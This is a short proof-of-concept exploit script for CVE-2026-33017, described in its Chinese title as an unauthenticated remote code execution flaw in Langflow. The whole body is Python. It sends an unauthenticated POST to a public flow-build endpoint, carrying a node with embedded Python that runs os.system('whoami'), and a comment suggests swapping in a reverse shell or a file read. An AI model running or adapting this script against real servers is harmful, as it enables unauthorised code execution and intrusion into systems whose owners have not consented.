CVE-2026-33017 Langflow未授权远程代码执行漏洞

import requests target_url = "http://target-ip:port/api/v1/build_public_tmp/{flow_id}/flow" # Malicious Python code to be executed on the server # Example: creating a reverse shell or reading a file malicious_code = """ import os os.system('whoami') """ # Construct the payload mimicking a flow node with Python code payload = { "data": { "nodes": [ { "id": "test_node", "type": "Python", "data": { "code": malicious_code } } ] } } # Send the unauthenticated POST request response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response:", response.text)